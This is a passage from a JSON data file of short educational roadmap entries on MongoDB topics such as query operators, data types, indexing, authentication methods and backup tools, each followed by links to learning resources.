    "content": "# $in\n\nThe `$in` operator in MongoDB selects documents where a field value matches any value in a specified array. It provides efficient multiple value matching without using multiple $or conditions. `$in` supports all BSON data types and is particularly useful for filtering by lists of IDs, categories, or enumerated values, offering better performance than equivalent $or queries.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n- [@official@\\$in](https://www.mongodb.com/docs/manual/reference/operator/aggregation/in/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/include@sxDyp3bP-YhgmDMVUFTaA.md",
    "content": "# $include\n\nThe `$include` projection operator in MongoDB allows you to explicitly specify which fields should be included in query results, providing precise control over the data returned from the database. When using `$include` (or simply setting fields to 1 or true in a projection document), only the specified fields and the _id field (unless explicitly excluded) will be present in the returned documents, which helps reduce network traffic, improve query performance, and enhance security by limiting data exposure. This operator is essential for optimizing applications that only need specific fields from large documents, especially in scenarios where documents contain many fields or large nested objects that would unnecessarily consume bandwidth and processing resources.\n\nVisit the following resources to learn more:\n\n- [@official@Project Fields to Return from Query](https://www.mongodb.com/docs/manual/tutorial/project-fields-from-query-results/)\n- [@official@\\$include](https://www.mongodb.com/docs/manual/core/indexes/index-types/index-wildcard/create-wildcard-index-multiple-fields/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/indexing@XjB0uOnsYl4edzZWpQ-nm.md",
    "content": "# Indexing\n\nIndexing in MongoDB creates data structures that improve query performance by creating shortcuts to documents. Indexes are built on specific fields and allow the database to quickly locate data without scanning entire collections. MongoDB supports various index types including single field, compound, multikey, geospatial, text, and hashed indexes to optimize different query patterns and use cases.\n\nVisit the following resources to learn more:\n\n- [@official@Indexing](https://www.mongodb.com/docs/manual/indexes/)\n- [@article@How To Use Indexes in MongoDB](https://www.digitalocean.com/community/tutorials/how-to-use-indexes-in-mongodb)\n- [@course@Indexing Design Fundamentals Skill Badge](https://learn.mongodb.com/courses/indexing-design-fundamentals)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/insert-and-relevant@mXdn4u5CiQRDE83qMiWZX.md",
    "content": "# insert() and Related Methods\n\nInsert operations add new documents to MongoDB collections using `insertOne()` for single documents and `insertMany()` for multiple documents. These methods support options like ordered/unordered inserts, write concerns, and automatic ObjectId generation. MongoDB also provides legacy `insert()` method and supports upsert operations through update methods when documents don't exist.\n\nVisit the following resources to learn more:\n\n- [@official@Insert Commands](https://www.mongodb.com/docs/manual/reference/command/insert/)\n- [@official@MongoDB CRUD Operations: Insert and Find Documents](https://learn.mongodb.com/courses/mongodb-crud-operations-insert-and-find-documents)\n- [@article@A Comprehensive Guide to MongoDB Methods](https://medium.com/@coderwithtools/a-comprehensive-guide-to-mongodb-methods-syntax-and-examples-feee0ac07599)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/int32int@xKFZSKG2GPD-phY2HLMsx.md",
    "content": "# Int32\n\nInt32 data type in MongoDB stores 32-bit signed integers ranging from -2,147,483,648 to 2,147,483,647. This type provides exact integer representation without floating-point precision issues and takes less storage space than doubles. Int32 is ideal for counters, IDs, and whole numbers where precision is critical and the value range fits within 32-bit limits.\n\nVisit the following resources to learn more:\n\n- [@official@Int32](https://www.mongodb.com/docs/mongodb-shell/reference/data-types/#int32)\n- [@article@MongoDB Int32 and Long Data Types](https://www.slingacademy.com/article/mongodb-int32-and-long-data-types-a-practical-guide-with-examples/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/int64--long@iJFDFdIN_N4-DlJwrFIiB.md",
    "content": "# Int64 / Long\n\nInt64 (Long) data type in MongoDB stores 64-bit signed integers with a range from -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807. This type handles large integer values that exceed Int32 limits while maintaining exact precision. Long integers are essential for timestamps, large counters, and applications requiring precise integer arithmetic with very large numbers.\n\nVisit the following resources to learn more:\n\n- [@official@Long](https://www.mongodb.com/docs/mongodb-shell/reference/data-types/#long)\n- [@article@MongoDB Int64](https://www.tedblob.com/mongodb-query-int64/)\n- [@articleIssue with `int64` stored in the field _id](https://www.mongodb.com/community/forums/t/issue-with-int64-stored-in-the-field-id/277905)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/javascript@UXO5i6nPa5CRW1z7FAn_S.md",
    "content": "# JavaScript\n\nThe JavaScript data type in MongoDB allows you to store JavaScript code as BSON values within documents, enabling the execution of server-side JavaScript functions for operations like map-reduce, stored procedures, and complex data transformations. This type can store JavaScript functions or code snippets that can be executed within the MongoDB server environment, making it useful for scenarios where you need to perform complex calculations, business logic, or custom aggregation operations directly on the database server. However, the JavaScript type is primarily legacy functionality and is generally discouraged in modern MongoDB applications due to security concerns and performance implications, with the aggregation framework being the preferred approach for complex data processing tasks that previously required server-side JavaScript execution.\n\nVisit the following resources to learn more:\n\n- [@official@Javascript Function on Server](https://www.mongodb.com/docs/manual/tutorial/store-javascript-function-on-server/)\n- [@article@Unleash Data Magic with MongoDB Custom JavaScript Functions](https://thelinuxcode.com/mongodb-custom-function/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/kafka@JAosQ9tFj7y70lGQ0vHzC.md",
    "content": "# Kafka\n\nApache Kafka is a distributed event streaming platform designed for high-throughput, fault-tolerant, and scalable data streaming. It is primarily used for building real-time data pipelines and streaming applications. Kafka allows you to publish and subscribe to streams of records, store those records in a fault-tolerant way, and process them in real-time.\n\nVisit the following resources to learn more:\n\n- [@official@Kafka Connector v1.15 - MongoDB Docs](https://www.mongodb.com/docs/kafka-connector/current/)\n- [@official@Data Streaming with Apache Kafka & MongoDB](https://www.mongodb.com/resources/products/integrations/data-streaming-with-apache-kafka-and-mongodb)\n- [@article@Unleash Data Magic with MongoDB Custom JavaScript Functions](https://thelinuxcode.com/mongodb-custom-function/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/kerberos-authentication@YuzMOO7kf2tO6V6WehqF_.md",
    "content": "# Kerberos Authentication\n\nKerberos authentication in MongoDB provides enterprise-grade security through ticket-based authentication protocol. It integrates with existing Active Directory or Kerberos infrastructures, allowing centralized user management and single sign-on capabilities. This authentication method eliminates password transmission over networks and provides strong mutual authentication between clients and MongoDB servers using encrypted tickets.\n\nVisit the following resources to learn more:\n\n- [@official@Kerberos Authentication on Self-Managed Deployments](https://www.mongodb.com/docs/manual/core/kerberos/)\n- [@article@Configure MongoDB with Kerberos Authentication](https://hackernoon.com/mongodb-kerberos-a3dfdf322d1c)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/language-drivers@73REfcB_T0yBP-KQ0EYmF.md",
    "content": "# Language Drivers\n\nMongoDB language drivers are official and community-maintained libraries that provide idiomatic APIs for interacting with MongoDB databases from various programming languages including Python (PyMongo), JavaScript/Node.js, Java, C#, Go, PHP, Ruby, and many others. These drivers handle the low-level communication protocols, connection management, authentication, and data serialization between applications and MongoDB servers, while providing language-specific features like object mapping, connection pooling, and async/await support. They abstract away the complexity of the MongoDB wire protocol and BSON encoding, allowing developers to work with MongoDB using familiar programming patterns and data structures native to their chosen language, making database integration seamless and efficient.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@Start Developing with MongoDB](https://www.mongodb.com/docs/drivers/)\n- [@article@MongoDB Driver Performance in Several Languages](https://medium.com/clarityai-engineering/mongodb-driver-performance-in-several-languages-888899494b88)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/ldap-proxy-auth@NoDNdno9UOlMrOC0Wga9E.md",
    "content": "# LDAP Proxy Auth\n\nLDAP Proxy Authentication in MongoDB allows the database to authenticate users through an external LDAP (Lightweight Directory Access Protocol) server, enabling organizations to integrate MongoDB with their existing directory services like Active Directory. This authentication method acts as a proxy between MongoDB and the LDAP server, allowing users to authenticate using their corporate credentials while maintaining centralized user management, making it particularly valuable for enterprise environments that need to enforce consistent security policies and user access controls across multiple systems.\n\nVisit the following resources to learn more:\n\n- [@official@Self-Managed LDAP Proxy Authentication](https://www.mongodb.com/docs/manual/core/security-ldap/)\n- [@article@LDAP Authorization — MongoDB Manual](https://www.xuchao.org/docs/mongodb/core/security-ldap-external.html)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/limit@AzUVaGnGv9uypJ31alR9r.md",
    "content": "# $limit\n\nThe `$limit` aggregation stage restricts the number of documents passed to the next stage in the pipeline. It's commonly used with $sort to get top N results, implement pagination, or reduce data processing overhead. `$limit` is efficient when combined with indexes and should be placed strategically in the pipeline to minimize document processing in subsequent stages.\n\nVisit the following resources to learn more:\n\n- [@official@\\$limit](https://www.mongodb.com/docs/manual/reference/operator/aggregation/limit/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/lookup@strw_oGTkZEH-o8zA4IRP.md",
    "content": "# $lookup\n\nThe `$lookup` aggregation stage performs left outer joins between collections, similar to SQL JOINs. It adds an array field containing matching documents from the \"joined\" collection based on specified local and foreign fields. `$lookup` supports pipeline-based lookups for complex matching conditions and enables denormalization of related data for efficient querying and reporting.\n\nVisit the following resources to learn more:\n\n- [@official@\\$lookup](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/lt@5-MLEEigFPRloN7wLa05T.md",
    "content": "# $lt\n\nThe $lt (less than) operator in MongoDB selects documents where a field value is less than a specified value. It supports comparison operations on numbers, dates, strings, and other ordered BSON types. $lt is commonly used in range queries, date boundaries, and filtering datasets by numeric thresholds. It combines well with $gt to create range-based queries.\n\nVisit the following resources to learn more:\n\n- [@official@\\$lt](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lt/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/lte@eOfsrmOQI0dJW6HV_myVH.md",
    "content": "# $lte\n\nThe `$lte` (less than or equal to) operator in MongoDB selects documents where a field value is less than or equal to a specified value. It provides inclusive upper bound comparison for range queries, end date filtering, and maximum value constraints. `$lte` is essential for creating inclusive upper limits in queries and combining with $gte for complete range specifications.\n\nVisit the following resources to learn more:\n\n- [@official@\\$lte](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lte/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/match@_c7itVw1R1_UB-NPtL-WI.md",
    "content": "# $match\n\nThe `$match` aggregation stage filters documents in the pipeline, similar to the find() query operation. It should be placed early in the pipeline to reduce document count and improve performance. `$match` supports all query operators and can use indexes when positioned at the beginning of the pipeline, making it essential for efficient data filtering in aggregation workflows.\n\nVisit the following resources to learn more:\n\n- [@official@\\$match](https://www.mongodb.com/docs/manual/reference/operator/aggregation/match/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n- [@article@How to use match inside lookup in Mongo Aggregation](https://medium.com/@arashramy/how-to-use-match-inside-lookup-in-mongo-aggregation-2431a8920ec6)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/max-key@QF7SL237FyBQdqvKUzop6.md",
    "content": "# Max Key\n\nMaxKey is the counterpart to MinKey in MongoDB, representing the highest possible value for a field. It is considered to be greater than all other values in the database. MaxKey is particularly useful in scenarios where you need to set an upper bound in queries or sorting operations. For example, when looking for documents with a field that is less than a certain value, using MaxKey allows you to include all documents, as it acts as the largest possible value.\n\nVisit the following resources to learn more:\n\n- [@official@Multikey Indexes](https://www.mongodb.com/docs/manual/core/indexes/index-types/index-multikey/)\n- [@article@MaxKey Class](https://mongodb.github.io/node-mongodb-native/4.2/classes/MaxKey.html)\n- [@article@MongoDB max() and min() Example](https://examples.javacodegeeks.com/software-development/mongodb/mongodb-max-and-min-example/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/min-key@jQSMLd6gG158tJDzo1k_1.md",
    "content": "# Min Key\n\nMinKey is a special value in MongoDB that represents the lowest possible value for a field. It is considered to be less than all other values in the database. This makes MinKey useful in queries and sorting operations where you want to establish a lower bound. For instance, when searching for documents with a field that is greater than a certain value, you can use MinKey to ensure that all documents are included, as it effectively acts as the smallest possible value.\n\nVisit the following resources to learn more:\n\n- [@official@Multikey Indexes](https://www.mongodb.com/docs/manual/core/indexes/index-types/index-multikey/)\n- [@article@MinKey Class](https://mongodb.github.io/node-mongodb-native/4.2/classes/MinKey.html)\n- [@article@MongoDB max() and min() Example](https://examples.javacodegeeks.com/software-development/mongodb/mongodb-max-and-min-example/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/mongodb-audit@w1L-yFBM2AyeNBFyH5skW.md",
    "content": "# MongoDB Audit\n\nMongoDB Audit is a security feature that enables comprehensive logging and monitoring of database activities, including authentication attempts, authorization failures, CRUD operations, and administrative actions. It provides detailed audit trails that track who accessed what data, when operations occurred, and whether they succeeded or failed, which is essential for compliance with regulatory requirements like GDPR, HIPAA, or SOX, and helps organizations detect suspicious activities, investigate security incidents, and maintain accountability in their database operations.\n\nVisit the following resources to learn more:\n\n- [@official@Configure Auditing - Database Manual](https://www.mongodb.com/docs/manual/tutorial/configure-auditing/)\n- [@article@Auditing and Monitoring MongoDB for Security](https://medium.com/@platform.engineers/auditing-and-monitoring-mongodb-for-security-0981df3cc22b)\n- [@article@MongoDB Auditing for Enhanced Security and Compliance](https://www.mydbops.com/blog/mongodb-auditing-for-enhanced-security-and-compliance)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/mongodb-basics@z50iixpcCMe9sTh-gwTI3.md",
    "content": "# MongoDB Basics\n\nMongoDB is a popular NoSQL database that is designed to store and manage large volumes of unstructured or semi-structured data. Unlike traditional relational databases that use tables and rows, MongoDB employs a document-oriented data model, where data is stored in flexible, JSON-like documents called BSON (Binary JSON). This allows for a dynamic schema, meaning that documents within the same collection can have different structures, making it easier to adapt to changing data requirements. MongoDB supports rich query capabilities, including filtering, sorting, and aggregation, enabling developers to perform complex queries efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@MongoDB](https://www.mongodb.com/)\n- [@official@What Is MongoDB?](https://www.mongodb.com/company/what-is-mongodb)\n- [@official@MongoDB Database Documentation](https://www.mongodb.com/docs/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/mongodb-security@LC923iJhfiUDIs_0-9rc7.md",
    "content": "# MongoDB Security\n\nMongoDB security encompasses authentication, authorization, encryption, auditing, and network security features. It includes role-based access control (RBAC), field-level security, encryption in transit and at rest, and comprehensive audit logging. MongoDB provides multiple authentication mechanisms including SCRAM, x.509 certificates, LDAP, and Kerberos to secure database access and protect sensitive data from unauthorized access.\n\nVisit the following resources to learn more:\n\n- [@official@MongoDB Security](https://www.mongodb.com/docs/manual/security/)\n- [@official@MongoDB Database Documentation](https://www.mongodb.com/docs/)\n- [@article@MongoDB Security: Best Practices to Keep Your Data Safe](https://www.digitalocean.com/community/tutorial-series/mongodb-security-best-practices-to-keep-your-data-safe)\n- [@course@Secure MongoDB Self-Managed: AuthN and AuthZ Skill Badge](https://learn.mongodb.com/courses/secure-mongodb-self-managed-authn-and-authz)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/mongodb-terminology@1pCWjSvjvbox5OpyWJ8Kv.md",
    "content": "# MongoDB Terminology\n\nMongoDB terminology includes key concepts: databases contain collections (equivalent to tables), which store documents (equivalent to rows) composed of field-value pairs. Other terms include indexes for performance optimization, replica sets for high availability, shards for horizontal scaling, aggregation pipelines for data processing, and ObjectIds for unique document identifiers. Understanding these terms is fundamental for MongoDB development.\n\nVisit the following resources to learn more:\n\n- [@official@MongoDB Security](https://www.mongodb.com/docs/manual/security/)\n- [@official@MongoDB Database Documentation](https://www.mongodb.com/docs/manual/reference/glossary/)\n- [@article@MongoDB Basics: Basic Terminology of Mongo](https://medium.com/@gurbar.sidhu/mongodb-basics-1f111004e5d3)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/mongodump@xaWDHCkcGm4oovPPxVMB9.md",
    "content": "# mongodump\n\nmongodump is a MongoDB utility that creates binary backups of database content by exporting data in BSON format. It supports selective backup options including specific databases, collections, and query-based filtering. mongodump preserves data types, indexes metadata, and can perform live backups without stopping the database, making it essential for backup strategies and data migration workflows.\n\nVisit the following resources to learn more:\n\n- [@official@mongodump](https://www.mongodb.com/docs/database-tools/mongodump/)\n- [@article@How To Use mongodump for MongoDB Backups](https://www.bmc.com/blogs/mongodb-mongodump/3)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/mongorestore@TKngxMNGMgrdO26D7eeSg.md",
    "content": "# mongorestore\n\nmongorestore is a MongoDB utility that restores data from binary BSON dumps created by mongodump. It can restore entire databases, specific collections, or subsets of data with options for data transformation and index rebuilding. mongorestore supports various restore modes including replacement, merge, and upsert operations, making it crucial for disaster recovery and data migration scenarios.\n\nVisit the following resources to learn more:\n\n- [@official@mongorestore](https://www.mongodb.com/docs/database-tools/mongorestore/)\n- [@article@Mongorestore Examples for Restoring MongoDB Backups](https://www.bmc.com/blogs/mongodb-mongorestore/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/ne@Q8dr1JPEnLX0z4DiQwnAz.md",
    "content": "# $ne\n\nThe `$ne` (not equal) operator in MongoDB selects documents where a field value is not equal to a specified value. It performs inverse equality comparison and excludes documents with matching values, including exact matches and type equivalence. `$ne` is fundamental for exclusion filtering, finding outliers, and creating queries that avoid specific values or patterns.\n\nVisit the following resources to learn more:\n\n- [@official@\\$ne](https://www.mongodb.com/docs/manual/reference/operator/aggregation/ne/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/nin@ZKHUCskdKQf4IaMUTN_e7.md",
    "content": "# $nin\n\nThe `$nin` (not in) operator in MongoDB selects documents where a field value does not match any value in a specified array. It's the logical opposite of $in and excludes documents with field values present in the given array. `$nin` is useful for filtering out unwanted values, excluding specific categories, and creating blacklist-style queries.\n\nVisit the following resources to learn more:\n\n- [@official@\\$nin](https://www.mongodb.com/docs/manual/reference/operator/aggregation/nin/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/nor@7xq_mdQOlUTuhfnogOl8h.md",
    "content": "# $nor\n\nThe `$nor` operator in MongoDB performs logical NOR operation, selecting documents that fail to match any of the specified query expressions. It's the inverse of $or and returns documents that don't satisfy any of the given conditions. `$nor` is useful for complex exclusion logic and finding documents that don't match multiple alternative criteria.\n\nVisit the following resources to learn more:\n\n- [@official@\\$nor](https://www.mongodb.com/docs/manual/reference/operator/query/nor/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/not@qaUj9916Fh4BtiLz_pwQs.md",
    "content": "# $not\n\nThe `$not` operator in MongoDB performs logical negation on a query expression, returning documents that do not match the specified condition. It accepts a single query expression and inverts its result. $not is useful for excluding specific patterns, finding documents that don't meet certain criteria, and creating inverse filters in complex queries.\n\nVisit the following resources to learn more:\n\n- [@official@\\$not](https://www.mongodb.com/docs/manual/reference/operator/aggregation/not/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/null@g6AKQiFcY_8lsWRbkbZSC.md",
    "content": "# Null\n\nNull data type in MongoDB represents absent or undefined values, distinct from empty strings or zero values. Null fields can be queried, indexed, and participate in aggregation operations with special handling. MongoDB treats null values specifically in comparisons and provides the $exists operator to distinguish between null values and missing fields in document structures.\n\nVisit the following resources to learn more:\n\n- [@official@Query for Null or Missing Fields](https://www.mongodb.com/docs/manual/tutorial/query-for-null-fields/)\n- [@article@Master Null Handling in MongoDB](https://www.mydbops.com/blog/null-handling-in-mongodb)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/object-id@mxd3-l3-NtPw53dEvhqm4.md",
    "content": "# ObjectId\n\nObjectId is MongoDB's default primary key type, consisting of a 12-byte identifier that includes timestamp, machine identifier, process ID, and counter components. It ensures uniqueness across distributed systems and provides automatic indexing. ObjectIds are automatically generated when documents are inserted without an explicit `_id` field, enabling efficient sorting by creation time and guaranteed uniqueness across collections.\n\nVisit the following resources to learn more:\n\n- [@official@ObjectId](https://www.mongodb.com/docs/manual/reference/method/objectid/)\n- [@article@Usage of ObjectId \\(\\) in MongoDB with Examples](https://www.softwaretestinghelp.com/mongodb/objectid-mongodb/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/object@QcdZKNcCtKls6P4YNXR2W.md",
    "content": "# Object\n\nObject data type is used to store embedded documents, allowing for complex data structures within a single document. This type is essential for organizing related data hierarchically, enabling efficient querying and data manipulation.\n\nVisit the following resources to learn more:\n\n- [@official@Data Types](https://www.mongodb.com/docs/mongodb-shell/reference/data-types/)\n- [@article@Object data type in MongoDB](https://www.slingacademy.com/article/object-data-type-in-mongodb-tutorial-examples/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/or@43BfjlUju-yJaGv-FaJty.md",
    "content": "# $or\n\nThe `$or` operator in MongoDB performs logical OR operation on multiple query expressions, returning documents that satisfy at least one of the specified conditions. It accepts an array of query expressions and enables alternative matching criteria. `$or` is essential for flexible querying when documents can match any of several different conditions or field combinations.\n\nVisit the following resources to learn more:\n\n- [@official@\\$or](https://www.mongodb.com/docs/manual/reference/operator/aggregation/or/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/performance-optimization@A9W2LsivDc0ialLp83fYP.md",
    "content": "# Performance Optimization\n\nPerformance optimization in MongoDB involves proper indexing strategies, query optimization, schema design, and hardware configuration. Key techniques include creating appropriate indexes, using explain plans, optimizing aggregation pipelines, proper sharding strategies, and connection pooling. Regular monitoring of query performance, index usage, and database metrics helps identify bottlenecks and improve overall system efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@Comprehensive Guide to Optimising MongoDB Performance](https://www.mongodb.com/developer/products/mongodb/guide-to-optimizing-mongodb-performance/)\n- [@article@How To Optimize MongoDB Performance & Security](https://medium.com/@noel.benji/how-to-optimize-mongodb-performance-security-6fd3ba1304c1)\n- [@course@MongoDB Monitoring Tooling Skill Badge](https://learn.mongodb.com/courses/monitoring-tooling)\n- [@course@Performance Tools and Techniques Skill Badge](https://learn.mongodb.com/courses/performance-tools-and-techniques)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/pipelines-stages-and-operators@eDks8Jmsbq3_nHgLydyxP.md",
    "content": "# Pipelines, Stages and Operators\n\nMongoDB aggregation pipelines are composed of sequential stages that process and transform documents, where each stage performs a specific operation using various operators before passing results to the next stage. Stages like `$match` (filtering), `$group` (grouping and aggregating), `$project` (field selection and transformation), `$sort` (ordering), `$lookup` (joins), and `$unwind` (array expansion) can be combined in any order to create complex data processing workflows. Operators within these stages include arithmetic operators ($add, $multiply), comparison operators ($eq, $gt), array operators ($push, $addToSet), date operators ($dateToString, $year), and conditional operators ($cond, $ifNull), providing a powerful and flexible framework for data analysis, reporting, and ETL operations directly within the database.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregation Pipeline](https://www.mongodb.com/docs/manual/core/aggregation-pipeline/)\n- [@official@Aggregation Stages](https://www.mongodb.com/docs/manual/reference/operator/aggregation-pipeline/)\n- [@official@\\$project](https://www.mongodb.com/docs/manual/reference/operator/aggregation/project/)\n- [@official@\\$group](https://www.mongodb.com/docs/manual/reference/operator/aggregation/group/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/project@dO2mJejkWBH903LG0dWgN.md",
    "content": "# $project\n\nThe `$project` stage in MongoDB aggregation pipelines is used to reshape documents by including, excluding, or transforming fields, allowing you to control exactly which data is passed to subsequent pipeline stages. It can perform field selection (similar to SQL SELECT), create computed fields using expressions, rename fields, nest or flatten document structures, and apply various transformations like mathematical operations, string manipulations, or date formatting.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregation Pipeline](https://www.mongodb.com/docs/manual/core/aggregation-pipeline/)\n- [@official@\\$project](https://www.mongodb.com/docs/manual/reference/operator/aggregation/project/)\n- [@official@\\$group](https://www.mongodb.com/docs/manual/reference/operator/aggregation/group/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/project@gakF5Zfgk7QIgg_UwqG_Y.md",
    "content": "# $project\n\nThe `$project` stage in MongoDB aggregation pipelines is used to reshape documents by including, excluding, or transforming fields, allowing you to control exactly which data is passed to subsequent pipeline stages. It can perform field selection (similar to SQL SELECT), create computed fields using expressions, rename fields, nest or flatten document structures, and apply various transformations like mathematical operations, string manipulations, or date formatting.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregation Pipeline](https://www.mongodb.com/docs/manual/core/aggregation-pipeline/)\n- [@official@\\$project](https://www.mongodb.com/docs/manual/reference/operator/aggregation/project/)\n- [@official@\\$group](https://www.mongodb.com/docs/manual/reference/operator/aggregation/group/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/query-operators@B8SFhoVV8ei1Yz6vl57l_.md",
    "content": "# Query Operators\n\nQuery operators in MongoDB enable sophisticated document filtering and selection using comparison, logical, element, evaluation, and array operators. These include equality operators ($eq, $ne), comparison operators ($gt, $lt, $gte, $lte), logical operators ($and, $or, $not), and specialized operators for arrays ($in, $nin, $all) and existence checks ($exists), providing powerful and flexible querying capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@Query and Projection Operators](https://www.mongodb.com/docs/manual/reference/operator/query/)\n- [@official@\\$project](https://www.mongodb.com/docs/manual/reference/operator/aggregation/project/)\n- [@official@Aggregation Operators](https://www.mongodb.com/docs/manual/reference/operator/aggregation/)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/query-optimization@4L9UQ4oaaK3wZwOLIMa6T.md",
    "content": "# Query Optimization\n\nQuery optimization in MongoDB involves analyzing and improving query performance through various techniques including proper indexing strategies, query plan analysis, and efficient query structure design. It encompasses understanding how MongoDB's query planner works, using tools like `explain()` to analyze query execution, creating appropriate indexes to support common query patterns, avoiding inefficient operations like full collection scans, and structuring queries to take advantage of MongoDB's document model and aggregation framework for optimal performance and resource utilization.\n\nVisit the following resources to learn more:\n\n- [@official@Optimize Query Performance](https://www.mongodb.com/docs/manual/tutorial/optimize-query-performance-with-indexes-and-projections/)\n- [@course@Query Optimization Skill Badge](https://learn.mongodb.com/courses/query-optimization)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/query-optimization@kG0ZeGatgvC1azZKMQiA_.md",
    "content": "# Query Optimization\n\nQuery optimization in MongoDB involves analyzing and improving query performance through various techniques including proper indexing strategies, query plan analysis, and efficient query structure design. It encompasses understanding how MongoDB's query planner works, using tools like `explain()` to analyze query execution, creating appropriate indexes to support common query patterns, avoiding inefficient operations like full collection scans, and structuring queries to take advantage of MongoDB's document model and aggregation framework for optimal performance and resource utilization.\n\nVisit the following resources to learn more:\n\n- [@official@Optimize Query Performance](https://www.mongodb.com/docs/manual/tutorial/optimize-query-performance-with-indexes-and-projections/)\n- [@course@Query Optimization Skill Badge](https://learn.mongodb.com/courses/query-optimization)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/queryable-encryption@LpfuM6SuhlNNjBcHM68ee.md",
    "content": "# Queryable Encryption\n\nQueryable Encryption is MongoDB's advanced security feature that allows you to encrypt sensitive data while still being able to query it efficiently without decrypting the entire dataset. This cryptographic technique enables applications to perform equality queries on encrypted fields using deterministic encryption and range queries using order-preserving encryption, providing a balance between data security and functionality. It's particularly valuable for applications that need to comply with strict data protection regulations while maintaining the ability to search and filter encrypted data, such as healthcare systems handling patient records or financial applications managing sensitive transaction data.\n\nVisit the following resources to learn more:\n\n- [@official@Queryable Encryption](https://www.mongodb.com/docs/manual/core/queryable-encryption/)\n- [@article@Queryable Encryption in MongoDB](https://www.geopits.com/blog/intro-to-queryable-encryption-in-mongodb.html)\n"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/read--write-concerns@thOckmrCJ45NVNPNxm4eg.md",
    "content": "# Read & Write Concerns\n\nRead and write concerns in MongoDB control data consistency and acknowledgment levels for operations. Write concerns specify acknowledgment requirements from replica set members, while read concerns determine data consistency guarantees for queries. Options range from unacknowledged writes to majority confirmation, and from local reads to causally consistent reads, balancing performance with data reliability requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Read Concerns](https://www.mongodb.com/docs/manual/reference/read-concern/)\n- [@official@Replication in MongoDB](https://learn.mongodb.com/learn/course/replication-in-mongodb/lesson-5-read-and-write-concerns-with-mongodb-deployments/learn?client=customer&page=2)\n- [@official@Set Global Read and Write Concerns in MongoDB 4.4](https://www.mongodb.com/developer/products/mongodb/global-read-write-concerns/)"
  },
  {
    "path": "src/data/roadmaps/mongodb/content/regex@PmfjHFz-DW69pNh_t13Nm.md",
